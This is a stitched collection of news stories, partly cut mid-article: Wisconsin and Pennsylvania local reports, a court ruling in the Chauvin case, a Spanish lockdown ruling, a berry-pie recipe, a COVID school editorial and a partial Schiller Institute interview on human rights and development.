That December, Gruszynski met with the human resources office and said he had been heavily drinking at the bar that night and didnt remember meeting the aide. According to the documents, he said he had pieced together the evening using bar receipts and an Uber app and that someone (whose name was redacted in the records) told him he had made inappropriate remarks to a staffer.

The records included Facebook messages between Gruszynski and the staffer that took place shortly before she arrived at the Malt House, where he pressed her about where she was and whether they could meet. The staffer tried to put him off, responding with a laughing emoticon and asking him if he needed a ride before finally suggesting they meet at the Malt House.

Gruszynski told interviewers he wanted to apologize to the staffer and had told his wife about the incident. He said he had been drinking heavily since September but after that night he quit. He said he didnt want to be the person he is and began to cry.

Amanda Jorgenson, a manager in the Legislatures human resources office, told the organizations attorneys that the office treats internal employee complaints as confidentially as possible and the complainants privacy outweighs the public interest in disclosing the documents.
Cardinal-Hickory Creek at a glance

Cardinal-Hickory Creek is a high-voltage power line proposed by ATC, ITC Midwest and Dairyland Power Cooperative that would run 102 miles between Dubuque, Iowa, and Middleton.

Utilities say the $492 million project, approved in 2019, is needed to improve reliability and move electricity from new wind and solar farms to where its needed, providing cheaper electricity. Opponents say the project is a boondoggle that would boost utility profits and be a blight on the scenic and environmentally sensitive Driftless Region.
Votes are unofficial until formally canvassed. Once votes are certified and Penterman is sworn into office, he will bring the state Assemblys Republican majority to 61 members, compared with 38 Democratic members.

Penterman raised more than $28,000 in campaign funds as of June 28, according to Wisconsin Democracy Campaign, which tracks campaign finances. Adams, who served one term on the Columbus City Council before his loss earlier this year, raised roughly $5,100.

The 37th Assembly District was left vacant earlier this year when former Rep. John Jagler, R-Watertown, was elected to the states 13th Senate District, which was previously held by former Senate Majority Leader Scott Fitzgerald, who was elected to Congress last fall.

Jagler had held the Assembly seat since 2013.

The 37th Assembly District includes portions of Dane, Dodge, Jefferson and Columbia counties and part of Columbus, Waterloo and Watertown, and the villages of DeForest, Lowell and Reeseville.

Dane County Board

Rockwell earned 52.4% of the vote compared to Morris 47.5%, making him county board supervisor for the 19th District, according to preliminary results. A total of 1,164 people voted.
It is certainly possible that the witnesses experienced some level of emotional trauma from this incident, but the State failed to prove it," Cahill wrote. He also said that while Ellison pointed to research that shows adults view Black girls as less innocent and less in need of protection, no evidence of that was presented prior to Chauvin's sentencing.

Be that as it may, it is the State that is injecting supposed racial presumptions in this case, not this Court, Cahill wrote. He said his sentencing order never mentions the race or ethnicity of the girls. He said the youngest, who was 9 years old at the time, and her then-17-year-old cousin are Black, but the other two teenagers, who are now 18, are white.

Whether adultification of Black girls is, as the State insists, common in American society, including in the criminal justice system, this Court emphatically rejects the implication that it played any part in the Courts sentencing decision," Cahill wrote.

He also said that while Ellison complains that the court did not hold a separate sentencing hearing, prosecutors had a right to request one but did not.

Ellison's office said Tuesday that it is reviewing the judge's order.
Screnock sentenced Malisch to three years, one month and 28 days in prison and three years of parole during the hearing July 6.

According to the criminal complaint, a resident of the Maplewood of Sauk Prairie, 245 Sycamore St., told a nurse that a man had come into her room and touched her without her consent. Another nurse said she saw the man, later identified as Malisch, in the room during the time the woman said the assault happened. Staff called police the next day. In an interview with an officer, Malisch said he had assaulted the woman and said he thought she wouldnt say anything because of her advanced age, which is why he chose to assault her. He also admitted to assaulting another woman, who nursing home staff said was unable to communicate with police because of her health condition, at least four months earlier.

According to court records, Malisch was sentenced to five years in prison after being convicted of multiple felony sex crimes in February 1990. As part of his sentencing, he was also ordered to 10 years of probation and to register as a lifetime sex offender.

An investigation by the Wisconsin Department of Health Services into the facility determined in June 2018 that despite knowing a registered sex offender was living there, Maplewood employees failed to prevent him from abusing women.
Last week, Bishop William Callahan suspended Father James Altman from public ministry. The primary reason seems to be Father Altmans preaching about pro-abortion Catholics.

Since Roe v. Wade, we have witnessed institutionalized abortion in America that has resulted in the death of one million babies every year. The vanguard supporting this infrastructure of abortion for the past half century are Catholic politicians, yet the bishops do nothing about this scandal.

Bishops across the country basically operate as mid-level bureaucrats, only concerned with the inflow of donations and government monies, and with the avoidance of negative PR. The sex abuse scandal was a glaring indication of this reality. The bishops cared nothing about the abuse of children until it resulted in negative media attention and financial consequences in the form of lawsuits.

As part of this corruption, American bishops are aided and abetted by an army of overpaid quasi-bureaucrats who work for the various dioceses. Not only does this ecclesial bureaucracy takes millions in donations from lay Catholics while accomplishing nothing, but they act as a hindrance to needed church reform.
The former controller of The Income Store has settled a lawsuit alleging he helped carry out the companys $100 million Ponzi scheme, agreeing to pay an undisclosed sum but denying any liability.

William Longcore was accused in December of aiding and abetting the fraud, among other offenses, a year after the U.S. Securities & Exchange Commission got a federal judge to freeze the companys assets and appoint a receiver to sell those assets and recoup any tainted payments.

According to the receivers lawsuit, filed in Philadelphia federal court, the Lancaster resident was paid $430,000 from September 2017 through November 2019, a time when he oversaw most, if not all, The Income Stores financial transactions.

In that role, Longcore knew or should have known The Income Store was scamming its investors, contended the receiver, Melanie Damian, in her complaint filed against him.

Longcore knowingly and substantially assisted (Kenneth Courtright, company founder and alleged mastermind of the scam) in perpetuating the fraudulent scheme and the Ponzi scheme over the course of more than two years by, among other things, making and receiving payments to investors , alleged Damian in her lawsuit.

Longcore, of Empire Circle, off Harrisburg Pike, settled the lawsuit in May, getting it permanently dismissed in exchange for an undisclosed payment, said Damians attorneys and Longcores attorney. In the settlement, they said Tuesday, Longcore denied any liability.
Last November, the Fulton Theatre made a commitment to telling stories by a more diverse set of voices, and began assembling a committee of community volunteers dedicated to bringing inclusion and diversity to the Lancaster stage.

One of the fruits of this effort is Stories of Diversity, a festival of new plays that will be presented as three staged readings on the Fultons main stage next weekend, July 16-18.

The readings are free to the public.

At the same time, the IDEA (Inclusion, Diversity, Equity and Accessibility) Committee was formed at the theater last fall, the Fulton put out the call for submissions of new plays.

Out of 35 plays submitted from across the country, 29 were deemed to meet the festivals criteria, says Eric Pugh, the Fultons marketing director who is making his debut as a producer with the festival.

We asked that there not be more than six characters, and that it have something to do with diversity, Pugh says, be it plays with an LGBTQ story, or themes involving diversity  racial, religious, economic, etc.

For the most part, they were just fascinating plays, Pugh says. They had such a fascinating story to tell.

A committee of 27 readers, including Fulton staff, IDEA committee members and community members, read the plays and scored them.

Three plays were chosen for staged readings, and one as a runner-up for a reading at the Fulton sometime in the future, Pugh says.

The winning play at the festival will be produced in the future at the Fulton.

The plays

Pugh says the plays will be presented as true staged readings, with the visiting actors performing from music stands.

Were so fortunate to have these actors coming in to read all of the plays, Pugh says. Theres two people who are going to go into MJ the Musical, a Broadway show set to open next year, featuring the music of Michael Jackson. Another is going back into Hadestown on Broadway.

Many have never performed at the Fulton before.

Each play will be followed by a talkback featuring the writers, directors and cast members  in part to offer feedback to the playwrights, Pugh says.

The plays to be presented are:

 Friday, July 16, at 6 p.m.: FOR COLORED BOYZ on the verge of a nervous breakdown/ when freedom aint enuff, by Bryan-Keith Wilson.

The play is a described as series of poems  presented as a choreopoem, with music and dance  that tell the stories of Black men from slavery to the present, and examine what it means to be a man of color in America.

Wilson is a freelance journalist, founding artistic director of The Creative Co-Lab TX|NYC, faculty member of The Black Writers Reunion & Conference and creator of the LIFT EVRY VOICE International Playwright & Spoken World Virtual Festival.

 Saturday, July 17, at 10 a.m.: Lev of Leningrad, by Noah Schoenberg.

Lev, who accidentally becomes a Jewish refusnik, is granted an exit visa from the Soviet Union to the United States after 14 years. Levs faith and sense of humor carry him through as he and his family assimilate into American culture and his daughter, Karine, challenges his understanding of gender and authority.

Schoenberg is a Philadelphia native who earned degrees in applied mathematics and neuroscience.

 Sunday, July 18, at 10 a.m.: LHotel, by Marisol Medina .

The play is described as a dark comedy about the conflict between a modern American woman and her religiously conservative, Cuban-born mother. As the two try to bond during a trip to Paris, a terrorist attack traps the women in their hotel room with an Algerian-Parisian hotel employee.

Issues of morality, prejudice and the need to survive will come to light as closely guarded secrets are revealed.

Medina is a first-generation Cuban American who writes plays and nonfiction. She acted in Houston and Seattle before performing comedy with various troupes in Los Angeles.

Virtual materials

In conjunction with the festival, Pugh notes, both a panel discussion with the playwrights and a series of monologues written and performed by J.P. McCaskey High School students are available for streaming on Fulton HD, the theaters streaming platform.

My hope is that people will watch (them) before they come to the festival, Pugh says.

He says producing the festival has been very invigorating in a lot of ways. Im very passionate about new plays.

IF YOU GO  What: Stories of Diversity playwriting festival. Staged readings of three plays will be presented.  Where: Fulton Theatre, 12 N. Prince St.  When: The three plays will be at 6 p.m. Friday, July 16; 10 a.m. Saturday, July 17; and 10 a.m. Sunday, July 18, with talkbacks scheduled after each reading.  Tickets: Free, but must be reserved by calling the Fulton box office at 717-397-7425. Guests must pick up a festival pass at the box office between July 12-15. n More information: thefulton.org. To view an online panel discussion with the playwrights and a series of monologues written by J.P. McCaskey High School students in conjunction with the festival, sign up for a free FultonHD streaming service subscription at FultonHD.org.

CAST MEMBERS AND DIRECTORS The cast members and directors for Fulton Theatres three plays of the Stories of Diversity playwriting festival are as follows.  In FOR COLORED BOYZ on the verge of a nervous breakdown/when freedom ain't enuff:  Man in Blue: Malcom Armwood, who has performed in "Hadestown" on Broadway.  Man in Black: Joel Ashur, whose film work includes playing Attucks Copeland in the TV series "The Good Lord Bird."  Man in Orange: Darius Barnes, who will be seen in "MJ The Musical" on Broadway next year, and whose Broadway credits include "Kiss Me Kate," "Mean Girls" and "Rodgers and Hammerstein's Cinderella."  Man in Red: Antoine L. Smith, who will also be in "MJ The Musical," and whose Broadway credits include "Carousel," "The Color Purple" and "Memphis."  Man in Green: Jonathan Burke, who has been in "The Inheritance" and "Choir Boy" on Broadway.  The reading will be directed by Robert Hartwell, who appeared in the Fulton's 2009 production of "Hello, Dolly!" Broadway performing credits include "Hello, Dolly!," "Motown The Musical," "Rodgers and Hammersteins Cinderella," "Nice Work if You Can Get It" and "Memphis." He was assistant director for the first national tour of "Once on This Island," and is founder of The Broadway Collective.  In Lev of Leningrad:  The part of Lev will be read by Chuck Ragsdale. Ragsdale played Hector MacQueen in "Agatha Christie's Murder on the Orient Express" at the Fulton, was a member of the Broadway touring company of "A Gentleman's Guide to Love & Murder" and was in off-Broadway's "Silence! The Musical," based on "Silence of the Lambs."  Liz Shivener will be reading the part of Karine. Shivener played Greta Ohlsson in the Fulton's "Murder on the Orient Express." Her national tour credits include Belle in "Disney's Beauty and the Beast" and Fiona in "Shrek, The Musical."  Lilia will be read by the Barrymore Award-winning Kim Carson, who appeared in the Fulton's "Other Desert Cities." will be reading the part of Lilia. Carson has appeared in Philadelphia productions at the Arden and Walnut Street theaters and People's Light & Theater.  Missy Dowse will be reading the part of Aliyah. Dowse's credits include the national tour of "Gypsy" and the New York premiere of "The Battles," originating the role of Niccolo Macciavelli. She is the founder of The Actor Inc.  Zach Calhoon, who appeared in the Fulton's "Wait Until Dark," will read the part of Aaron. His credits include shows at Alabama Shakespeare Festival, Premiere Stages and Kitchen Theatre Company/Geva Theatre Center.  Peter Bisgaier will be reading the part of Mikhail. He appeared in the Fulton's "Wait Until Dark." He is co-artistic director at Pegasus Theatre Company in Philadelphia, and is a member of the improv team "The Teachers' Lounge."  The reading will be directed by Matt Pfeiffer, who directed "Blackbird" for the Fulton's Groff Studio Series. Recent credits include "A Midsummer Night's Dream" (Arden Theatre), Hand to God (Philadelphia Theatre Company) and "Buzzer" (Theatre Exile).  In "L'Hotel":  Eileen Faxas will be reading the part of Eileen. Faxas has won three Emmy Awards as a journalist. She has appeared in the National Tour of "Mamma Mia!" and numerous stage and television roles.  Nancy Ticotin will be reading the part of Mom. Ticotin's Broadway credits include "West Side Story," "Jerome Robbins' Broadway" and "Damn Yankees." Television credits include "Orange Is the New Black," "Law and Order: SVU," "Pose" and "FBI."  Jamen Nanthakumar will read the role of Bell Boy/Salim. Nanthakumar has appeared in "Crossing Over," "Veronica Mars" and "Oklahoma!"  The reading will be directed by Nadia Guevara, an award-winning actor, director, producer and arts administrator. She currently serves as director of arts engagement and a member of the literary advisory board for GALA Hispanic Theatre in Washington, D.C.

The three plays being read next weekend are all conversations that should be had in our community, and I hope people come out and support it so we can do more of these things, Pugh says. I just think these are really fantastic, insightful shows. Im very proud of whats going to be presented on our stage.
Its hot, buggy and muggy. I have jet lag. I might get rained on.

Thats what I said out loud to the four walls in my office as I pondered a berry picking trip to Shenks Berry Farm in Lititz. Quit your whining, said Mother Nature, or whoever was listening. The fruit shows up when its good and ready, not the other way around. You snooze, you lose.

She was right, of course. Due to travel, I already had put off picking at the beginning of raspberry season. If I wanted in on this years harvest, I had better get a move on.

The fields were still wet from storms earlier that day, and the sky above was moody. But I got the all-clear from the nice young woman at the farm entrance, and I had the place pretty much to myself. The birdsong led the way, as did the raspberry perfume, suspended in the languid air as if someone had just squeezed the mist bottle. (After all, the raspberry is a member of the rose family.)

Over the years, I have done my share of picking blueberries and stone fruit, but this was my maiden red raspberry voyage. I quickly learned that raspberries require ones full attention; unlike the blueberry, color is not enough of a cue. In fact, you must gently tug at the base of each fruit; any amount of resistance means it is not quite ready. Then you need to give it a once-over for mold and teeny insect hangers-on. In short, its painstaking work. And its a crash course in appreciation for the exorbitant price of packaged raspberries.

Two hours and a few bramble scratches later, I had amassed a stash of six precious quarts. I know its cliche to say that they looked like jewels. But these raspberries were truly sparkly and twinkled just so, as if they were winking at me for a job well done. (Bonus: The rain had graciously held off.)

While driving home, I resisted the urge to grab a handful of berries and mindlessly toss them into my mouth. Just as the berries had taught me mindfulness in the fields, I wanted to taste them with complete awareness and all five physical senses. Without exaggeration, they were the most floral, sweet-tart, jammiest, razz-berriest of all raspberries  the best of my entire life.

Were they the best because I picked them myself and sang for my supper? (Maybe.) Is it because I communed with nature while I worked? (Highly likely.) Was it a little bit of luck combined with good farming practices by the Shenk family? (No doubt).

But mostly, I think that I hit the raspberry jackpot because I stopped what I was doing and took Mother Natures call. I stepped away from the busy-ness of my life to make time for the fruit, which is as dear and fleeting as a sunset. I followed her lead rather than my own.

With a bramble bounty unlike any other of my adult life (and far more than we could ever top our breakfast bowls of granola), I went in pursuit of recipes that would let this magnificent fruit shine, shine, shine.

Enter the berry streusel slab pie from Pie Squared, the 2018 cookbook from Frederick, Maryland-based author Cathy Barrow. Made with a shortbread crust (translation: no rolling) in a quarter sheet pan (hence the squared reference), this pie is all about the fruit. The cookie crust that forms is a masterful fruit carrier; in fact, Im not sure Id want a traditional all-butter flaky crust for fear of competing with the raspberries.

From the outset, I instinctively knew that this pie  especially with my over-the-top fruit haul  would be delicious, no matter its appearance or structure. What I did not anticipate is falling in love at first bite. Typically, Im the last person in the room to swoon over dessert. But this pie? I could not get enough. Two days later, I retraced my steps and went back to where this fruit fairy tale began. I cannot wait for pie number three.

BERRY STREUSEL SLAB PIE

Adapted from Pie Squared by Cathy Barrow.

Makes 12 to 15 servings.

This recipe calls for a 9- by-13-inch sheet pan, also known as a quarter sheet pan, which is a handy all-purpose pan for roasting. Barrow also suggests the boost of a baking stone or pan to ensure a fully cooked bottom crust.

PART 1: SHORTBREAD CRUST

Ingredients:

6 tablespoons unsalted butter, at room temperature

1/3 cup granulated sugar

1 egg yolk

1 1/2 cups all-purpose flour

1/4 teaspoon salt

Directions:

1. Using a stand mixer, hand-held mixer or strong wooden spoon, beat the butter and sugar until smooth, lightened in color and malleable (about 5 minutes with the stand mixer).

2. Add the egg yolk and beat until fully incorporated.

3. Add the flour and salt, mixing until you have a crumbly dough that clumps together when you squeeze it in your hand.

4. Transfer the dough to the pan.

5. With pieces no larger than a walnut, press the dough up the sides and well into the corners of the pan before worrying about the bottom.

6. Use a flat-bottomed glass or measuring cup to press and smooth out the dough as uniformly as possible to a thickness of about 1/4 inch.

7. Use a fork to make indentations around the perimeter.

8. Chill for at least 20 minutes.

9. Preheat the oven to 350 F. Place a baking stone, baking steel or inverted sheet pan on the center rack to heat.

PART 2: STREUSEL TOPPING

Ingredients:

1/3 cup all-purpose flour

1/4 cup rolled (not instant) oats

2 tablespoons packed light brown sugar

1/8 teaspoon ground cinnamon

1/2 teaspoon salt

2 tablespoons unsalted butter, cubed and chilled

1/3 cup pecans, almonds, walnuts or pine nuts, chopped

Directions:

1. In a medium bowl, stir together the flour, oats, brown sugar, cinnamon and salt.

2. With your fingertips, work the butter into the flour mixture until the butter is integrated and the streusel looks like coarse meal.

3. Stir in the nuts.

PART 3: FILLING

Ingredients:

1 pound blueberries, raspberries or blackberries (or a combination), stems and boo-boos removed

3/4 cup granulated sugar

3 tablespoons cornstarch

1/8 teaspoon freshly grated nutmeg

Juice of 1 lemon

Directions:

1. Gently stir everything together in a large bowl.

PART 4: ASSEMBLY

1. Transfer the filling into the chilled crust, spreading evenly.

2. Scatter the streusel over the filling until completely covered.

3. Place the pan onto the preheated pan or baking steel or stone and bake at 350 F until the edges are slightly browned and the filling is bubbling, 25 to 35 minutes.
Lancaster City Council on Tuesday approved the appointment of the citys top law enforcement leader.

That is the last hurdle. John Bey is the chief of police of the City of Lancaster, said President Ismail Smith-Wade-El, following a unanimous vote. Council members Faith Craig and Pete Soto were absent. Mayor Danene Sorace said in June that she was promoting Bey, who had been serving in an interim capacity. A swearing-in ceremony was on Tuesdays agenda, but Sorace said Beys family had a conflict. A ceremony and gathering is instead set for 4-6 p.m. Monday, Aug. 2, at The Ware Center with members of the public invited.

Ive never met a police chief who was so eager to meet any and every person in the city, Smith-Wade-El said.

Beys annual base salary of $128,000 is the sixth-highest among city salaries, according to City Business Administrator Patrick Hopkins. The highest is $150,296 for the public works director. That ranking does not include medical opt-out payments such as the additional $11,242 per year Bey receives in lieu of being on the citys medical insurance policy.

Hes definitely jumped right into the work. And the difference between him and his predecessor is like night and day, said council member Xavier Garcia-Molina. And its something thats very welcomed by us in the community.

Stepping in

Sorace chose Bey as acting chief in November, and he began working in December.

He succeeds Jarrad Berkihiser, whose unexpected retirement Sorace announced Oct. 2, 2020. The mayor said she came to doubt that Berkihiser shared her vision for the direction of the police department following the killing of George Floyd by a Minneapolis police officer in May and, locally, the police shooting death of Ricardo Munoz, a man with a history of mental illness who came at a police officer while armed with a knife Sept. 13, 2020.

Bey is a Pittsburgh native and a 25-year veteran of the Pennsylvania State Police and a chief master sergeant in the Air National Guard. He began his policing career at Troop J in Lancaster in 1989.

In the state police, Bey headed its recruitment and special services office and its Heritage Affairs Section, which builds relationships with historically underserved groups, including minority communities, and which helps local agencies handle hate and bias crimes.

After retiring from the state police, Bey served as police chief of Middletown for two years and four months. He left that job to become financial management superintendent for the 193rd Special Operations Wing of the Pennsylvania Air National Guard.

Staff writer Dan Nephin contributed to this report.
A roll-over crash caused power outages and traffic delays in Manheim Township on Tuesday afternoon, according to Manheim Township police.

A single vehicle struck a fire hydrant and utility pole at Oregon Pike and Eden Road at 2:04 p.m., causing a power outage in the area, police said in a news release.

Emergency crews were still clearing the crash scene at 3 p.m., police said.

Motorists were urged to avoid the area and plan on taking alternate routes of travel.
When: Penn Manor school board meeting, July 12.

What happened: The school board approved and will adopt the districts health and safety plan for the 2021-22 academic year. The American Rescue Plan requires each local education agency that receives funding under the Elementary and Secondary School Emergency Relief Fund (ESSER) to develop and share a health and safety plan with the public. Penn Manor planned for $3.5 million in ESSER revenues and expenditures as part of its 2021-22 budget. It is budgeted to reduce cybertuition costs.

What this means: In the districts health and safety plan, masks are optional regardless of vaccination status. Students and staff will not be required to be vaccinated, but the district states it will continue to promote local and regional options for vaccinations. Children under 12 are not yet eligible for vaccinations, according to the Centers for Disease Control and Prevention.

Quotable: The plan that you see I believe is in keeping with the board and superintendents goal to keep masks optional, said Superintendent Mike Leichliter. The CDC actually addressed that and said that schools and local officials look at their local communities and see that what were doing is keeping with that, that the emphasis should be on providing in-person instruction over some of those components.

Option for public comment: In addition to developing the plan, the district was also required to secure public comment. The district released a survey on its website for parents, guardians and staff to fill out. By the start of the meeting, the district received over 1,000 comments according to Jerry Egan, assistant superintendent for elementary education. Respondents were asked whether or not their children would continue in-person instruction after reviewing the plan and if they would be willing to screen their children for symptoms prior to attending classes. Parents and staff could also make additional comments.

Parent statements: During the public comment portion of the meeting, a few parents responded to the new health and safety plan. While many applauded the districts choice to make masking optional, some asked for clarity. Others expressed concern that a binding plan might make it difficult for the district to make its own choices if new regulations come into play.

Whats next: The board will meet at 7 p.m. Aug. 7 in the Manor Middle School boardroom, 2950 Charlestown Road. Watch remotely at youtube.com/pennmanorschools.
BARCELONA, Spain (AP)  Spains Constitutional Court ruled Wednesday that a strict stay-at-home lockdown order the Spanish government issued under a state of emergency during the first wave of COVID-19 last year was unconstitutional.

While upholding most terms of the state of emergency, the court said provisions ordering the population off the streets except for shorts shopping trips, unavoidable work commutes and other essential business violated Spain's Constitution.

The court issued a brief statement that described the ruling as a split decision. State broadcaster TVE said six magistrates were in favor and five against. The full decision is expected to be released in the coming days.

According to TVE, the court majority ruled that the limitations on movement violated citizens basic rights and the state of emergency was a constitutionally insufficient mechanism to do that. The six magistrates said a state of exception, which does allow the government to suspend basic rights, would have been necessary.

Justice Minister Pilar Llop said that her government will uphold but does not share the decision" on the inadequacy of the emergency declaration that saved hundreds of thousands of lives.

The home confinement rule declared under the state of emergency, along with the exemplary behavior of citizens, allowed us to stop the virus, Llop said, adding that it was similar to orders given by other European governments.

The Constitutional Court made its ruling in response to a lawsuit brought by Spain's far-right Vox party. Vox leader Santiago Abascal called Wednesday for Spanish Prime Minister Pedro Sanchez to step down.

We cannot celebrate the decision because we have proof that the government was willing to break the law and tarnish the constitution, Abascal said.

Spains government declared the state of emergency on March 14, 2020, three days after the World Health Organization said the spread of the coronavirus had become a pandemic. With Spain's hospitals filling up, Sanchezs left-wing coalition government won parliamentary backing, including from Vox lawmakers, for the state of emergency.

During the first six-week confinement period, Spaniards could not go out even for exercise, and Vox withdrew its support for the lockdown.

The lockdown helped reduce the number of new daily cases. The Spanish government gradually relaxed its pandemic restrictions once the worst of the emergency had passed. Since then, Spain has used a myriad of measures to control infections. The country has reported a pandemic death toll to date of 81,000.

Legal experts said until the court's full decision is released, it wont be clear if the ruling will open the gates to lawsuits against the government.

Fernando Simon, a constitutional law professor at the University of Navarra, said the Constitutional Court could limit the state's legal exposure from the thousands of citizens were received fines for violating restrictions on movement during the state of emergency.

This ability is reasonable because if the impact of the decision is taken to the extreme, it could create chaotic situations, Simon told The Associated Press in an email.

He said the wording of the Spanish Constitution regarding a state of emergency supported either a strict or a more open reading, adding that this type of juridical conflict would not even exist if the main political powers sought the common good.



Follow all AP coverage of the coronavirus pandemic at https://apnews.com/hub/coronavirus-pandemic
THE ISSUE

The Centers for Disease Control and Prevention said last week that students and teachers who are vaccinated will not need to wear masks when they return to school late next month. But unvaccinated children, the CDCs new school guidance states, should wear masks indoors. The primary goal of the new guidance is to return children safely to the classroom for in-person learning.

The first key takeaway of the CDCs revised guidance for COVID-19 prevention in K-12 schools is one we think everyone can agree on: Students benefit from in-person learning, and safely returning to in-person instruction in the fall 2021 is a priority.

We could practically hear the hallelujahs of parents when the CDC unveiled its new guidance Friday.

And no wonder.

Parents who werent trained as teachers had to figure out, on the fly, how to help their kids through remote learning  often while juggling job responsibilities and other demands on their time.

Despite the valiant efforts of all involved, studies have shown that student gains, particularly in math, slowed because of pandemic-related disruptions to education.

To address the issue, the Pennsylvania Legislature passed, and Gov. Tom Wolf signed, Act 66 in June. This act allows students to repeat a grade level during the 2021-2022 academic year. It also allows students with disabilities who have reached the age of 21 to apply for an additional year of schooling and educational services.

Parents who wish to apply for this for their kids have until Thursday to fill out a form (available here) and to return it to their childs school district.

Republican state Sen. Scott Martin, of Martic Township, co-sponsored the legislation and has sought to raise awareness of it on social media. We appreciate his efforts in this regard. This is a sensible and helpful piece of legislation.

Also sensible and helpful: the CDCs new school guidance.

Nobody wants to return to the uncertainty and turmoil of the past two school years, so the new guidance is a boon.

But its also a reminder to school administrators and school directors that the pandemic, though hopefully ebbing in the United States because of vaccination, is not over. They still may need to impose and enforce safety protocols for unvaccinated students.

We were dismayed when, as the last school year ended, local school officials already were promising to do away with mask requirements this coming school year.

As we wrote in June, Because weve seen how drastically trends can change with COVID-19, we think its premature to announce decisions now about whether masks will be required this fall.

At the time, the more contagious delta variant was just manifesting in Britain. Its now the predominant strain in the United States, according to the CDC.

Comprehensive analyses of British public health data indicate that the risk of severe illness and death from COVID-19 is extremely low in children and teenagers, according to the University of Bristol in England last week.

But the delta variant remains a wild card.

Dr. Inci Yildirim, a Yale Medicine pediatric infectious diseases specialist, told a Yale publication that the delta variant seems to be impacting younger age groups more than previous variants.

News out of Mississippi on Tuesday seemed to indicate that this is the case: The delta variant is fueling what that states health officer, Dr. Thomas Dobbs, called a surge of cases in kids.

The Northeast Mississippi Daily Journal reported that, according to the Mississippi State Health Department, seven children in that state are in intensive care with COVID-19, two of them on ventilators.

Another wild card: long COVID, which has been diagnosed in children as well as adults. Long COVID can develop even in those who were just mildly ill because of the novel coronavirus or had no initial symptoms.

Dr. Alok Patel, a pediatrician at Lucile Packard Childrens Hospital Stanford, told MIT Technology Review, that long COVID is very debilitating, isolating and scary for families.

Its not something that families are going to want to risk. Its not something that schools should ignore.

Militant anti-masking parents may kick up a fuss if schools bring back mask-wearing in the new school year, but their extremism shouldnt drown out the CDCs expertise. (Most children took to mask-wearing with ease. It was mostly grown-ups who made a mountain out of masking.)

The CDC says that masks should be worn indoors by all individuals (age 2 and older) who are not fully vaccinated. Consistent and correct mask use by people who are not fully vaccinated is especially important indoors and in crowded settings, when physical distancing cannot be maintained.

The CDC also recommends schools maintain at least 3 feet of physical distance between students within classrooms, combined with indoor mask wearing by people who are not fully vaccinated, to reduce transmission risk. When it is not possible to maintain a physical distance of at least 3 feet ... it is especially important to layer multiple other prevention strategies.

Among those strategies: improved ventilation.

As we noted last month, the Johns Hopkins Center for Health Security at the Bloomberg School of Public Health has urged schools to use federal COVID-19 relief funds to address ventilation issues in facilities. We are pleased that some Lancaster County schools are using federal money for this purpose.

Many K-12 schools in the United States do not have good ventilation, the center stated in a report released in May. This is a longstanding problem with demonstrably negative effects on student learning. ... During the COVID-19 pandemic, it is even more important that ventilation problems in K-12 schools be addressed now.

The hope is that COVID-19 vaccines will be made available to children younger than 12 sometime this fall. That would be the best-case scenario and the greatest means of keeping children safe from COVID-19.

In the meantime, though, local school districts should heed the CDC recommendations. If the overarching goal is to keep children in the classroom  and it should be  that may mean wearing masks and practicing social distancing until kids of all ages are vaccinated.
EIR LEAD EDITORIAL FOR WEDNESDAY, JULY 14, 2021

Helga Zepp-LaRouche Briefs China Plus World Today ProgramThe New Name for Peace Is Development

July 13, 2021 (EIRNS)Helga Zepp-LaRouche gave the following interview to China Plus radios World Today broadcast today. China Plus is the official English website of China Radio International. The interview is the second news story starting at 12:55 minutes.

World Today: Welcome back. The United Nations Human Rights Council has passed Chinas resolution on the contribution of development to the enjoyment of all human rights, at the 47th session, which emphasizes the right to development and that the aim of development is to improve the developing of the people. For more, we are now joined on the line by Helga Zepp-LaRouche, founder of the Schiller Institute, a Germany based economic and political think tank. Thanks for joining us Dr. LaRouche.

Helga Zepp-LaRouche: Yes, hello! How are you?

World Today: Im good, thank you. So, the resolution stresses that development and the realization of human rights and fundamental freedoms are interdependent and mutually reinforcing. How do we understand those?

Zepp-LaRouche: First of all, let me express my congratulations. I think this is an excellent development, because hopefully this will inspire a very productive discussion everywhere around the world, what is the right definition of human rights. And I think the interdependence between development and human rights and freedom, you can see best if you look at the lack of development. Because then you have poverty, and you have still on the planet, 2 billion people who have no access to clean water, more than 800 million are [audio loss] and you have no freedom if you have all day to try to get a little bit of water and a little bit to eat, just to try to stay alive, so you have no freedom under these conditions. So therefore, I think development is very clearly the precondition for both human rights and freedom.

World Today: Yes, but that is very different from the Western explanation for human rights, which all starts with the ballot box and has everything to do with individual freedom. How did it get the different priorities when it comes to the human rights issue?

Zepp-LaRouche: Well, first of all, I think one has to see that the label isnt always consistent with the content. Many things which have the label democracy and human rights have quite some different content, and in the case of the Western parliamentary system, or unfortunately even the presidential system in some countries, is more a plutocracy, where the money of the multinationals and the big banks determine who gets a seat. Also, I think if you look at the overemphasis of individual freedom it has degenerated into a notion, everything is allowed, and the common good is regarded as a suppression of these individual freedoms.

Now, if you have a crisis, like in the case of COVID-19, you can see what the consequences of this is. China and some other Asian nations took strict measures for the common good, and it worked well, and then also the individuals profited because they were rid of the pandemic earlier; while in the West you had a back and forth, people were even protesting against having to wear masks, regarding that as an intrusion in their personal freedom, and they had to pay a much, much bigger price.

World Today: Well, representatives from countries including Venezuela, Cuba, and Pakistan also made speeches to appreciate China for delivering those draft resolutions and stressed that development should be the focus of every country, especially developing countries. But why is the resolution getting support from these countries?

Zepp-LaRouche: Well, its very simple: Because in the entire post-World War II period, the IMF conditionalities prevented real development in the developing sector. They were told, you have to pay your debt first before you can invest in infrastructure or health, and the result was a blatant underdevelopment and incredible poverty. So, China, even before the Belt and Road, invested in railways in Africa and other infrastructure, but especially with the Belt and Road Initiative and the COVID crisis, it became very clear that these countries regarded the help from Chinawhich was denounced as vaccine diplomacy by some Western mediabut these developing countries regarded the attitude of China as a life-saver for them. So its no surprise that they would support it.

World Today: And I think you earlier mentioned about what should be the right definition of human rights. And another question is who gets to pick what the most basic human rights should be? And have you got a feeling that this has been heavily guided by a small number of mostly Western nations which has led to a general bias in favor of the civil, political liberties over economic, social, and cultural rights?

Zepp-LaRouche: Yes. You can see that right now very clearly in the case of the so-called identity policy. For example, between the EU Commission and countries such as Hungary, Poland, Slovenia, there is a big tension right now, whereas in the East, they have rejected the effort by the EU Commission to impose the values of the Western liberal European countries.

So I think what needs to be put up front again, is the Five Principles of peaceful coexistence and the idea of non-interference in the different social systems, because they are, due to customs, traditions, cultural heritage and these must be respected.

World Today: In 2019 a study by the Center for New American Securitythat is a Washington-based think tanksays that Chinas actions in the UN were part of this effort to redefine how such institutions are run and shift away from Western concepts of democracy and human rights. What is your thought on those?

